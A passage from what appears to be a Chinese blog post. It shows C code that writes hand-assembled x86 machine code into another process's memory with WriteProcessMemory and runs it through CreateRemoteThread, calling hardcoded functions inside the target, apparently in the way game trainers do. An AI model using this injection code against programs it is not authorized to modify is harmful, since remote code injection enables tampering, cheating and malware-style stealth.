0xC8, 0x00, 0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
1
2
0:00